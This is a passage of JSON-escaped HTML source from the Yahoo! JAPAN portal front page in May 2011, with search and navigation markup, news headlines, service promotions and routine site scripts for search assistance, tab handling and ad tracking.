href=\"r/mmy\"\u003eMy Yahoo!\u003c/a\u003e\u003c/li\u003e \r\n\u003cli id=\"mhi4th\"\u003e\u003ca title=\"ツールバー\" href=\"r/mtb\"\u003eツールバー\u003c/a\u003e\u003c/li\u003e \r\n\u003cli id=\"mhi5th\"\u003e\u003ca title=\"ショッピング\" href=\"r/mshp\"\u003eショッピング\u003c/a\u003e\u003c/li\u003e \r\n\u003cli id=\"mhi6th\"\u003e\u003ca title=\"Yahoo! きっず\" href=\"r/mkid\"\u003eYahoo! きっず\u003c/a\u003e\u003c/li\u003e \r\n\u003c/ul\u003e \r\n\u003cul id=\"siteinfo\"\u003e \r\n\u003cli\u003e\u003ca href=\"r/mcfp\"\u003eカテゴリ一覧\u003c/a\u003e\u003c/li\u003e \r\n\u003cli\u003e\u003ca href=\"r/msb\"\u003eサイトの登録\u003c/a\u003e\u003c/li\u003e \r\n\u003cli\u003e\u003ca href=\"r/myid\"\u003e無料ID活用\u003c/a\u003e\u003c/li\u003e \r\n\u003c/ul\u003e \r\n\u003cul id=\"changeMode\"\u003e \r\n\u003cli id=\"changeModeOf\" class=\"changeBtn\"\u003e\u003ca href=\"edit.html?copt4=1\u0026t=kP80NB\u0026sk=pDbDXsbEjKUE8RpmLBWrW_qNYx4-\" title=\"オフィス版\"\u003eオフィス版\u003c/a\u003e\u003c/li\u003e \r\n\u003c/ul\u003e \r\n\u003c/div\u003e \r\n\u003cdiv id=\"emg\"\u003e \r\n\u003c!-- SpaceID=2077296265 loc=EMG3 noad-spid --\u003e \r\n\u003c!-- SpaceID=2077296265 loc=EMG2 noad-spid --\u003e \r\n\u003c!-- SpaceID=2077296265 loc=EMG noad --\u003e \r\n\u003c/div\u003e \r\n\u003cdiv id=\"searchbox\"\u003e\u003cdiv id=\"srchb\"\u003e \r\n\u003cform action=\"http://search.yahoo.co.jp/search\" name=\"sf1\" method=\"get\"\u003e \r\n\u003cfieldset\u003e \r\n\u003clegend\u003eYahoo!検索\u003c/legend\u003e \r\n\u003cdiv id=\"srchbd\"\u003e \r\n\u003cul class=\"tab\"\u003e\u003cli class=\"tab0 first on\"\u003e\u003cspan\u003e\u003ca href=\"r/swes\" id=\"search\" hidefocus=\"true\"\u003eウェブ\u003c/a\u003e\u003c/span\u003e\u003c/li\u003e\u003cli class=\"tab1\"\u003e\u003cspan\u003e\u003ca href=\"r/sims\" id=\"isearch\" hidefocus=\"true\"\u003e画像\u003c/a\u003e\u003c/span\u003e\u003c/li\u003e\u003cli class=\"tab2\"\u003e\u003cspan\u003e\u003ca href=\"r/svis\" id=\"msearch\" hidefocus=\"true\"\u003e動画\u003c/a\u003e\u003c/span\u003e\u003c/li\u003e\u003cli class=\"tab3\"\u003e\u003cspan\u003e\u003ca href=\"r/sbls\" id=\"bsearch\" hidefocus=\"true\"\u003eブログ\u003c/a\u003e\u003c/span\u003e\u003c/li\u003e\u003cli class=\"tab4\"\u003e\u003cspan\u003e\u003ca href=\"r/sdics\" id=\"dsearch\" hidefocus=\"true\"\u003e辞書\u003c/a\u003e\u003c/span\u003e\u003c/li\u003e\u003cli class=\"tab5\"\u003e\u003cspan\u003e\u003ca href=\"r/schs\" id=\"ksearch\" hidefocus=\"true\"\u003e知恵袋\u003c/a\u003e\u003c/span\u003e\u003c/li\u003e\u003cli class=\"tab6\"\u003e\u003cspan\u003e\u003ca href=\"r/smas\" id=\"csearch\" hidefocus=\"true\"\u003e地図\u003c/a\u003e\u003c/span\u003e\u003c/li\u003e\u003cli class=\"tab7\" id=\"srchMore\"\u003e\u003cspan\u003e\u003ca class=\"pldwn\" hidefocus=\"true\" id=\"srchMorebtn\" href=\"r/llst\"\u003e一覧\u003c/a\u003e\u003c/span\u003e\u003cdiv class=\"floatingw\" id=\"srchMorefw\"\u003e\u003cul\u003e\u003cli class=\"first\"\u003e\u003ca hidefocus=\"true\" id=\"tsearch\" href=\"r/sdis\"\u003e登録サイト\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca hidefocus=\"true\" id=\"nsearch\" href=\"r/lhe\"\u003eニュース\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca hidefocus=\"true\" id=\"shsearch\" href=\"r/lsh\"\u003eショッピング\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca hidefocus=\"true\" id=\"ausearch\" href=\"r/lac\"\u003eオークション\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca hidefocus=\"true\" id=\"tlntsearch\" href=\"r/stlnts\"\u003e人物名鑑\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca hidefocus=\"true\" id=\"encsearch\" href=\"r/seclps\"\u003e百科事典\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca hidefocus=\"true\" id=\"rbnsearch\" href=\"r/srbs\"\u003e論文\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"r/saps\" id=\"appsearch\" hidefocus=\"true\"\u003eアプリ\u003c/a\u003e\u003c/li\u003e\u003cli class=\"last\"\u003e\u003ca hidefocus=\"true\" id=\"service\" href=\"r/llst\"\u003eサービス一覧\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/div\u003e\u003c/li\u003e\u003c/ul\u003e \r\n\u003cp\u003e\u003clabel id=\"srchtxtBg\"\u003e\u003cinput name=\"p\" id=\"srchtxt\" type=\"text\" value=\"\"\u003e\u003c/label\u003e\u003cinput type=\"submit\" id=\"srchbtn\" value=\"検索\"\u003e\u003c/p\u003e \r\n\u003cdiv id=\"srchAssist\"\u003e \r\n\u003cdiv id=\"srchAssistBd\" style=\"display:none;\"\u003e \r\n\u003cp id=\"srchAssistTxt\"\u003eキーワードが入力されていません。\u003c/p\u003e \r\n\u003cdl class=\"bgC3\" id=\"srchAssistOnOff\"\u003e\u003cdt\u003eキーワード入力補助\u003c/dt\u003e\u003cdd class=\"first\"\u003eON\u003c/dd\u003e\u003cdd\u003e\u003ca href=\"edit.html?copt2=1\u0026t=kP80NB\u0026sk=pDbDXsbEjKUE8RpmLBWrW_qNYx4-\"\u003eOFF\u003c/a\u003e\u003c/dd\u003e\u003c/dl\u003e \r\n\u003c/div\u003e \r\n\u003cdiv id=\"srchAssistClose\" title=\"キーワード入力補助を開く\"\u003e\u003cdiv id=\"srchacb\"\u003e\u003cspan\u003eキーワード入力補助を開く\u003c/span\u003e\u003c/div\u003e\u003c/div\u003e \r\n\u003c/div\u003e \r\n\u003c/div\u003e \r\n\u003cscript type=\"text/javascript\"\u003e\u003c!--\r\nYUE.addListener( document, \"keydown\", YAHOO.Fp.KeyAction );\r\nYUE.addListener( 'srchtxt', \"keydown\", function(e){if(e.keyCode == 38 || e.keyCode == 40 ) YAHOO.Fp.SearchAssist(e);} );\r\nsetInterval(function(e) {\r\n if(YAHOO.Fp._srchOldQ != $('srchtxt').value) {\r\n YAHOO.Fp._srchOldQ = $('srchtxt').value ;\r\n YAHOO.Fp.SearchAssist(e) ;\r\n } } , 100) ;\r\nYUE.addListener( 'srchAssistClose', \"click\", function(e){YAHOO.Fp.fToggleSearchAssist(e);} );\r\n$('srchtxt').setAttribute(\"autocomplete\", \"off\");\r\n//--\u003e\u003c/script\u003e \r\n\u003cinput name=\"search.x\" id=\"search.x\" value=\"1\" type=\"hidden\"\u003e\u003cinput name=\"fr\" id=\"fr\" value=\"top_ga1_sa\" type=\"hidden\"\u003e\u003cinput name=\"tid\" id=\"tid\" value=\"top_ga1_sa\" type=\"hidden\"\u003e\u003cinput name=\"ei\" id=\"ei\" value=\"UTF-8\" type=\"hidden\"\u003e\u003cinput name=\"aq\" id=\"aq\" value=\"\" type=\"hidden\"\u003e\u003cinput name=\"oq\" id=\"oq\" value=\"\" type=\"hidden\"\u003e \r\n\u003c/fieldset\u003e \r\n\u003c/form\u003e \r\n\u003c/div\u003e\u003c/div\u003e \r\n\u003cdiv id=\"hdBar\"\u003e \r\n\u003cdiv id=\"uhd\"\u003e \r\n\u003cdiv id=\"uhdsetstart\"\u003e\u003c/div\u003e \r\n\u003cscript type=\"text/javascript\"\u003e\u003c!--\r\nYAHOO.Fp.hm=document.getElementById('uhdsetstart');\r\n//--\u003e\u003c/script\u003e \r\n\u003cscript type=\"text/javascript\"\u003e\u003c!--\r\nif(!YAHOO.cookie.get('CP') \u0026\u0026 (YAHOO.Fp._ff \u0026\u0026 YAHOO.Fp._ffv \u003e= 2)){\r\n\tYAHOO.Fp.hm.innerHTML = '\u003ca href=\"r/header/toolbarpromo/*-http://rd.yahoo.co.jp/toppage/header/evt=78646/?http://toolbar.yahoo.co.jp/\" title=\"ツールバーを今すぐダウンロード!\" id=\"uhdsetstartPromo\"\u003eツールバーを今すぐダウンロード!\u003c/a\u003e';\r\n}\r\n//--\u003e\u003c/script\u003e \r\n\u003cdiv id=\"uhdassist\"\u003e \r\n\u003cul id=\"clr\"\u003e \r\n\u003cli id=\"clr1\"\u003e\u003ca class=\"on\" href=\"r/header/color/1/*-http://www.yahoo.co.jp/edit.html?color=1\u0026t=kP80NB\u0026sk=pDbDXsbEjKUE8RpmLBWrW_qNYx4-\"\u003eブルー\u003c/a\u003e\u003c/li\u003e \r\n\u003cli id=\"clr2\"\u003e\u003ca href=\"r/header/color/2/*-http://www.yahoo.co.jp/edit.html?color=2\u0026t=kP80NB\u0026sk=pDbDXsbEjKUE8RpmLBWrW_qNYx4-\"\u003eピンク\u003c/a\u003e\u003c/li\u003e \r\n\u003cli id=\"clr3\"\u003e\u003ca href=\"r/header/color/3/*-http://www.yahoo.co.jp/edit.html?color=3\u0026t=kP80NB\u0026sk=pDbDXsbEjKUE8RpmLBWrW_qNYx4-\"\u003eオレンジ\u003c/a\u003e\u003c/li\u003e \r\n\u003cli id=\"clr4\"\u003e\u003ca href=\"r/header/color/4/*-http://www.yahoo.co.jp/edit.html?color=4\u0026t=kP80NB\u0026sk=pDbDXsbEjKUE8RpmLBWrW_qNYx4-\"\u003eグリーン\u003c/a\u003e\u003c/li\u003e \r\n\u003cli id=\"clr5\"\u003e\u003ca href=\"r/header/color/5/*-http://www.yahoo.co.jp/edit.html?color=5\u0026t=kP80NB\u0026sk=pDbDXsbEjKUE8RpmLBWrW_qNYx4-\"\u003eシルバー\u003c/a\u003e\u003c/li\u003e \r\n\u003cli id=\"clr6\"\u003e\u003ca href=\"r/header/color/6/*-http://www.yahoo.co.jp/edit.html?color=6\u0026t=kP80NB\u0026sk=pDbDXsbEjKUE8RpmLBWrW_qNYx4-\"\u003eクラシック\u003c/a\u003e\u003c/li\u003e \r\n\u003c/ul\u003e\u003cp class=\"help\"\u003e\u003ca href=\"r/mht\"\u003eヘルプ\u003c/a\u003e\u003c/p\u003e\u003c/div\u003e \r\n\u003c/div\u003e \r\n\u003c/div\u003e \r\n\u003c/div\u003e \r\n\u003chr class=\"separate\"\u003e \r\n\u003cdiv id=\"contents\"\u003e \r\n \r\n\u003cdiv id=\"toptxt\"\u003e \r\n\u003cul class=\"symbol\"\u003e \r\n\u003cli id=\"toptxt1\" class=\"first\"\u003e\u003ca href=s/92621\u003e震災の記録を写真でのこそう、投稿受付中\u003c/a\u003e\u003c/li\u003e \r\n\u003cli id=\"toptxt2\"\u003e\u003ca href=s/92983\u003ePerfume 新曲クリップのダイジェストを配信\u003c/a\u003e\u003c/li\u003e \r\n\u003cli id=\"toptxt3\"\u003e\u003ca href=s/92924\u003eチェックした?「電気予報」で節電を\u003c/a\u003e\u003c/li\u003e \r\n\u003c/ul\u003e \r\n\u003c/div\u003e \r\n \r\n\u003cdiv id=\"navi\"\u003e \r\n\u003cdiv id=\"contentbox\" class=\"bx bg1\"\u003e \r\n\u003cdiv id=\"yahooservice\" class=\"changepos\"\u003e \r\n\u003cdiv class=\"hd\"\u003e \r\n\u003cdiv class=\"cbbtn\"\u003e \r\n\u003ca title=\"下へ移動\" class=\"cbimg\" id=\"cbbtntop\" href=\"edit.html?copt1=1\u0026t=kP80NB\u0026sk=pDbDXsbEjKUE8RpmLBWrW_qNYx4-\"\u003e下へ移動\u003c/a\u003e \r\n\u003c/div\u003e \r\n\u003cspan id=\"cbassistall\" class=\"assist\"\u003e\u003ca href=\"r/lst\"\u003e一覧\u003c/a\u003e\u003c/span\u003e \r\n\u003ch2\u003e\u003ca href=\"r/lst\"\u003eYahoo!サービス\u003c/a\u003e\u003c/h2\u003e\u003c/div\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"r/c1\" class=\"cbysC1\"\u003eショッピング\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"r/c2\" class=\"cbysC2\"\u003eオークション\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"r/c5\" class=\"cbysC5\"\u003e旅行、出張\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"r/c12\" class=\"cbysC12\"\u003eニュース\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"r/c13\" class=\"cbysC13\"\u003e天気\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"r/c14\" class=\"cbysC14\"\u003eスポーツ\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"r/c15\" class=\"cbysC15\"\u003eファイナンス\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"r/c25\" class=\"cbysC25\"\u003eテレビ\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"r/c26\" class=\"cbysC26\"\u003eGyaO!\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"r/c97\" class=\"cbysC97\"\u003eY!モバゲー\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"r/c33\" class=\"cbysC33\"\u003e地図\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"r/c34\" class=\"cbysC34\"\u003e路線\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"r/c41\" class=\"cbysC41\"\u003eグルメ\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"r/c73\" class=\"cbysC73\"\u003e求人\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"r/c48\" class=\"cbysC48\"\u003e不動産\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"r/c37\" class=\"cbysC37\"\u003e自動車\u003c/a\u003e\u003cspan class=\"iconNew\" title=\"NEW\"\u003eNEW\u003c/span\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"r/c53\" class=\"cbysC53\"\u003e掲示板\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"r/c57\" class=\"cbysC57\"\u003eブログ\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"r/c46\" class=\"cbysC46\"\u003e服、ビューティー\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"r/c44\" class=\"cbysC44\"\u003e出会い\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/div\u003e\u003cdiv id=\"favoriteservice\" class=\"changepos\"\u003e \r\n\u003cdiv class=\"hd\"\u003e \r\n\u003cdiv class=\"cbbtn\"\u003e \r\n\u003ca title=\"上へ移動\" class=\"cbimg\" id=\"cbbtnbtm\" href=\"edit.html?copt1=1\u0026t=kP80NB\u0026sk=pDbDXsbEjKUE8RpmLBWrW_qNYx4-\"\u003e上へ移動\u003c/a\u003e \r\n\u003c/div\u003e \r\n\u003cspan id=\"cbassistedit\" class=\"assist\"\u003e\u003ca href=\"r/lst\"\u003e変更\u003c/a\u003e\u003c/span\u003e \r\n\u003ch2\u003eお気に入り\u003c/h2\u003e\u003c/div\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"r/cf17\" style=\"background-image:url(http://k.yimg.jp/images/sicons/movie16.gif);\"\u003e映画\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"r/cf18\" style=\"background-image:url(http://k.yimg.jp/images/sicons/music16.gif);\"\u003e音楽\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"r/cf20\" style=\"background-image:url(http://k.yimg.jp/images/sicons/game16.gif);\"\u003eゲーム\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"r/cf21\" style=\"background-image:url(http://k.yimg.jp/images/sicons/fortune16.gif);\"\u003e占い\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"r/cf26\" style=\"background-image:url(http://k.yimg.jp/images/sicons/gyao16.gif);\"\u003eGyaO!\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/div\u003e\u003cdiv id=\"pickupservice\"\u003e\u003cdiv class=\"hd\"\u003e\u003ch2\u003eピックアップ\u003c/h2\u003e\u003c/div\u003e\u003cul\u003e\u003cli\u003e\u003ca style=\"background-image: url(http://k.yimg.jp/images/sicons/marriage16.gif);\" href=\"r/cp64\"\u003eウエディング\u003c/a\u003e\u003cspan class=\"iconNew\" title=\"NEW\"\u003eNEW\u003c/span\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/div\u003e\u003c/div\u003e \r\n\u003cdiv id=\"application\" class=\"bx bg4\"\u003e\u003cdiv class=\"hd\"\u003e\u003ch2\u003eアプリ紹介\u003c/h2\u003e\r\n\r\n\u003c/div\u003e\u003cp\u003e\u003ca href=s/92025\u003e\u003cspan\u003e\u003cimg src=\"http://k.yimg.jp/images/games/mbga/promo/110310/owners_league.gif\" alt=\"プロ野球オーナーズリーグmbga\" width=\"150\" height=\"60\"\u003e\u003c/span\u003e現実のプロ野球カードで遊ぶ新感覚野球ゲーム\u003c/a\u003e\u003c/p\u003e\u003c/div\u003e\u003cdiv id=\"companybox\" class=\"bx bg2\"\u003e \r\n\u003cdiv id=\"cmprikunabi\" class=\"first\"\u003e \r\n\u003ch2\u003e\u003ca href=\"r/lrn\"\u003e求人\u003c/a\u003e\u003c/h2\u003e \r\n\u003cul\u003e \r\n\u003cli class=\"first\"\u003e\u003ca href=\"r/lnxt\"\u003e転職\u003c/a\u003e\u003c/li\u003e \r\n\u003cli\u003e\u003ca href=\"r/labt\"\u003eアルバイト\u003c/a\u003e\u003c/li\u003e \r\n\u003cli\u003e\u003ca href=\"r/lhkn\"\u003e派遣\u003c/a\u003e\u003c/li\u003e \r\n\u003c/ul\u003e \r\n\u003cp\u003e\u003ca href=s/92954\u003eすぐ働きたい、急募の仕事\u003c/a\u003e\u003c/p\u003e \r\n\u003c/div\u003e \r\n \r\n\u003cdiv id=\"cmpbb\"\u003e \r\n\u003ch2\u003e\u003ca href=\"r/lbb\"\u003eYahoo! BB\u003c/a\u003e\u003c/h2\u003e \r\n\u003cul\u003e\u003cli\u003e\u003ca href=s/92992\u003e50Mが驚きの2,690円\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=s/92993\u003e光が1年間月2,457円~\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e \r\n\u003c/div\u003e \r\n\u003cdiv id=\"cmpbiz\" class=\"last\"\u003e \r\n\u003ch2\u003e\u003ca href=\"r/lbz\"\u003eビジネスで活用するなら\u003c/a\u003e\u003c/h2\u003e \r\n\u003cul\u003e\u003cli\u003e\u003ca href=s/92982\u003eヤフーの広告始めるなら今\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=s/58148\u003eヤフーでお店を開く\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=s/84369\u003eYahoo!カテゴリ登録審査\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=s/92620\u003e6月1日開始! Yahoo!ロコ\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e \r\n\u003c/div\u003e \r\n\u003c/div\u003e \r\n\u003cdiv id=\"composite\"\u003e \r\n\u003cul class=\"ieDisp\" style=\"background-image:url(http://k.yimg.jp/images/top/sp2/cmp/comp_all-110405.png);\"\u003e\r\n\r\n\u003cli id=\"cmp1st\"\u003e\u003ca href=s/92000 title=\"がんばろうニッポン つなげる想い、つながる希望\"\u003eがんばろうニッポン つなげる想い、つながる希望\u003c/a\u003e\u003c/li\u003e \r\n\u003cli class=\"cmpIE\" style=\"background-image:url(http://k.yimg.jp/images/top/sp2/cmp/comp_ie9-110405.png);\"\u003e\u003ca href=\"r/lie9\" title=\"Windows Internet Explorer9 NEW for Yahoo! JAPAN\"\u003eWindows Internet Explorer9 NEW for Yahoo! JAPAN\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e \r\n\u003c/div\u003e \r\n\u003c/div\u003e \r\n\u003chr class=\"separate\"\u003e \r\n\u003cdiv id=\"division\"\u003e \r\n\u003cdiv id=\"main\"\u003e \r\n\u003cdiv id=\"topicsbox\" class=\"bx\"\u003e \r\n\u003cdiv class=\"hd\"\u003e \r\n\u003cul class=\"tab on0\"\u003e \r\n\u003cli class=\"tab0 on\"\u003e\u003cspan\u003e\u003ca id=\"topics\" href=\"r/ttp\" hidefocus=\"true\"\u003eトピックス\u003c/a\u003e\u003c/span\u003e\u003c/li\u003e \r\n\u003cli class=\"tab1\"\u003e\u003cspan\u003e\u003ca id=\"economy\" href=\"r/teco\" hidefocus=\"true\"\u003e経済\u003c/a\u003e\u003c/span\u003e\u003c/li\u003e \r\n\u003cli class=\"tab2\"\u003e\u003cspan\u003e\u003ca id=\"entertainment\" href=\"r/tent\" hidefocus=\"true\"\u003eエンタメ\u003c/a\u003e\u003c/span\u003e\u003c/li\u003e \r\n\u003cli class=\"tab3\"\u003e\u003cspan\u003e\u003ca id=\"sports\" href=\"r/tspo\" hidefocus=\"true\"\u003eスポーツ\u003c/a\u003e\u003c/span\u003e\u003c/li\u003e \r\n\u003cli class=\"tab4 last\"\u003e\u003cspan\u003e\u003ca id=\"others\" href=\"r/toth\" hidefocus=\"true\"\u003eその他\u003c/a\u003e\u003c/span\u003e\u003c/li\u003e \r\n\u003c/ul\u003e \r\n\u003c/div\u003e \r\n\u003cdiv id=\"topicsboxbd\"\u003e \r\n\u003cdiv id=\"topicsfb\" class=\"current\"\u003e\u003cdiv class=\"topicsindex\"\u003e\u003cem\u003e21時40分更新\u003c/em\u003e\u003cul class=\"emphasis\"\u003e\u003cli\u003e\u003ca href=\"f/topics/top/1/*-http://dailynews.yahoo.co.jp/fc/domestic/kan_cabinet/?1305716452\"\u003e首相 安全なら原発稼働を容認\u003c/a\u003e\u003cspan class=\"iconPhoto\" title=\"写真\"\u003e写真\u003c/span\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"f/topics/top/2/*-http://dailynews.yahoo.co.jp/fc/economy/tpp/?1305716452\"\u003eTPP 日本の主張反映は困難に\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"f/topics/top/3/*-http://dailynews.yahoo.co.jp/fc/domestic/drug/?1305713372\"\u003e田代まさし被告に懲役4年求刑\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"f/topics/top/4/*-http://dailynews.yahoo.co.jp/fc/domestic/311eq_orphans/?1305721139\"\u003e安藤忠雄氏ら震災遺児の基金\u003c/a\u003e\u003cspan class=\"iconPhoto\" title=\"写真\"\u003e写真\u003c/span\u003e\u003cspan class=\"iconNew\" title=\"NEW\"\u003eNEW\u003c/span\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"f/topics/top/5/*-http://dailynews.yahoo.co.jp/fc/computer/android/?1305713372\"\u003eAndroid 99.7%に流出の恐れ\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"f/topics/top/6/*-http://dailynews.yahoo.co.jp/fc/sports/darubish_yu/?1305721139\"\u003eダル 5連勝でハーラートップ\u003c/a\u003e\u003cspan class=\"iconPhoto\" title=\"写真\"\u003e写真\u003c/span\u003e\u003cspan class=\"iconNew\" title=\"NEW\"\u003eNEW\u003c/span\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"f/topics/top/7/*-http://dailynews.yahoo.co.jp/fc/sports/sumo_rigged_suspicion/?1305716452\"\u003e八百長調査 やることやった\u003c/a\u003e\u003cspan class=\"iconPhoto\" title=\"写真\"\u003e写真\u003c/span\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"f/topics/top/8/*-http://dailynews.yahoo.co.jp/fc/entertainment/akb48/?1305718358\"\u003eAKBが日赤メッセンジャー就任\u003c/a\u003e\u003cspan class=\"iconPhoto\" title=\"写真\"\u003e写真\u003c/span\u003e\u003c/li\u003e\u003c/ul\u003e\u003cul class=\"more\"\u003e\u003cli class=\"first\"\u003e\u003ca href=\"f/topics/top/11/*-http://backnumber.dailynews.yahoo.co.jp/?t=d\u0026d=20110518\u0026c=top\"\u003e今日の話題(53件)\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"r/ttl\"\u003e一覧\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/div\u003e\u003cdiv class=\"topicscatch\"\u003e\u003cdiv class=\"topicsdetail\"\u003e\u003cdiv class=\"topicsimg\"\u003e\u003ca href=\"f/topics/top/9/*-http://dailynews.yahoo.co.jp/photograph/pickup/?1305707225\" id=\"tpcsimgfilter\" class=\"imgfilter\" style=\"background-image:url(http://news.c.yimg.jp/images/topics/20110518-00000000-agara-000-thumb.jpg);width:68px;height:90px;\" title=\"梅の収穫始まる\"\u003e梅の収穫始まる\u003c/a\u003e\u003c/div\u003e\u003cp\u003e \u003ca href=\"f/topics/top/10/*-http://dailynews.yahoo.co.jp/photograph/pickup/?1305707225\"\u003e梅の収穫始まる\u003c/a\u003e\u003c/p\u003e\u003cem\u003e5月18日17時7分配信\u003c/em\u003e\u003ccite\u003e紀伊民報\u003c/cite\u003e\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e \r\n\u003cdiv id=\"economyfb\"\u003e\u003c/div\u003e \r\n\u003cdiv id=\"entertainmentfb\"\u003e\u003c/div\u003e \r\n\u003cdiv id=\"sportsfb\"\u003e\u003c/div\u003e \r\n\u003cdiv id=\"othersfb\"\u003e\u003c/div\u003e \r\n\u003c/div\u003e \r\n\u003c/div\u003e \r\n\u003cscript type=\"text/javascript\"\u003e\u003c!--\r\nvar topicsTabs=new YAHOO.Fp.tabs(\"topicsbox\");topicsTabs.changeAction(YAHOO.Fp.loadPanel,{type:\"tabs\",module:\"topicsbox\",load:\"story\"});topicsTabs.setupTabs();YAHOO.Fp.selectTab=function(b,a){b=b.rot13();b=YAHOO.cookie.getsub(\"YJTM\",b);if(b!=\"\"){setTimeout(function(){a.tabAction(0,a,d.getElementById(b.rot13()))},10)}};if(YAHOO.cookie.get(\"YJTM\").indexOf(YAHOO.Fp._crumb)!==-1){YAHOO.Fp.selectTab(\"topicsbox\",topicsTabs)};\r\n--\u003e\u003c/script\u003e\u003cdiv id=\"bpComposite\" class=\"bxNa\"\u003e\r\n\u003cscript language=\"JavaScript\"\u003e\r\nvar EGASeed = Math.floor(new Number(\"1305723876\") / 60);\r\nvar EGAinterval = 5;\r\nvar EGACacheParam = Math.floor(EGASeed / EGAinterval);\r\nvar EGAtarget=\"_top\";\r\nvar EGAAPI = \"http://setsuden.yahoo.co.jp/images/meter_top/meter_ytop.gif?\" + EGACacheParam;\r\nvar EGAlink = \"http://ard.yahoo.co.jp/SIG=15aqcl5jd/M=300568323.301385617.302882319.308498231/D=jp_toppage/S=2077296265:TCBX/Y=jp/EXP=1305731076/L=gzi0mMvY8_AdcXdNTTPFkRGJdg_6U03Tw.QAAGF1/B=iBv6AMvY6ng-/J=1305723876026641/A=301362382/SIG=11c8u85p4/R=0/*http://setsuden.yahoo.co.jp/denkiyoho/\";\r\nvar EGAStr = '\u003ca href=\"'+ EGAlink +'\" target=\"'+ EGAtarget +'\"\u003e'\r\n\t\t\t+'\u003cimg src=\"' + EGAAPI + '\" border=\"0\" width=\"410\" height=\"55\"\u003e'\r\n\t\t\t+'\u003c/a\u003e';\r\ndocument.write(EGAStr);\r\n\u003c/script\u003e\r\n\u003cnoscript\u003e\u003ca href=\"http://ard.yahoo.co.jp/SIG=15aqcl5jd/M=300568323.301385617.302882319.308498231/D=jp_toppage/S=2077296265:TCBX/Y=jp/EXP=1305731076/L=gzi0mMvY8_AdcXdNTTPFkRGJdg_6U03Tw.QAAGF1/B=iBv6AMvY6ng-/J=1305723876026641/A=301362382/SIG=11cpfd2cb/R=1/*http://setsuden.yahoo.co.jp/denkiyoho/\" target=\"_top\"\u003e\u003cimg src=\"http://ai.yimg.jp/bdv/500001/937217/20110323/l_huyrufhugb4lhirits-a.gif\" height=\"55\" width=\"410\" border=\"0\"\u003e\u003c/a\u003e\u003c/noscript\u003e\u003c/div\u003e\u003cscript language=javascript\u003e \r\nif(window.yzq_d==null)window.yzq_d=new Object();\r\nwindow.yzq_d['iBv6AMvY6ng-']='\u0026U=13ku7kf1g%2fN%3diBv6AMvY6ng-%2fC%3d300568323.301385617.302882319.308498231%2fD%3dTCBX%2fB%3d301362382';\r\n\u003c/script\u003e\u003cnoscript\u003e\u003cdiv style=\"position:absolute;\"\u003e\u003cimg width=1 height=1 alt=\"\" src=\"http://b7.yahoo.co.jp/b?P=gzi0mMvY8_AdcXdNTTPFkRGJdg_6U03Tw.QAAGF1\u0026T=1427mlahn%2fX%3d1305723876%2fE%3d2077296265%2fR%3djp_toppage%2fK%3d5%2fV%3d2.1%2fW%3dH%2fY%3djp%2fF%3d437849301%2fQ%3d-1%2fS%3d1%2fJ%3dB8F2D8CB\u0026U=13ku7kf1g%2fN%3diBv6AMvY6ng-%2fC%3d300568323.301385617.302882319.308498231%2fD%3dTCBX%2fB%3d301362382\"\u003e\u003c/div\u003e\u003c/noscript\u003e\u003cdiv id=\"spotlight\" class=\"bx\"\u003e \r\n\u003cdiv id=\"spotlightct\"\u003e \r\n\u003cdiv style=\"display: block;\" 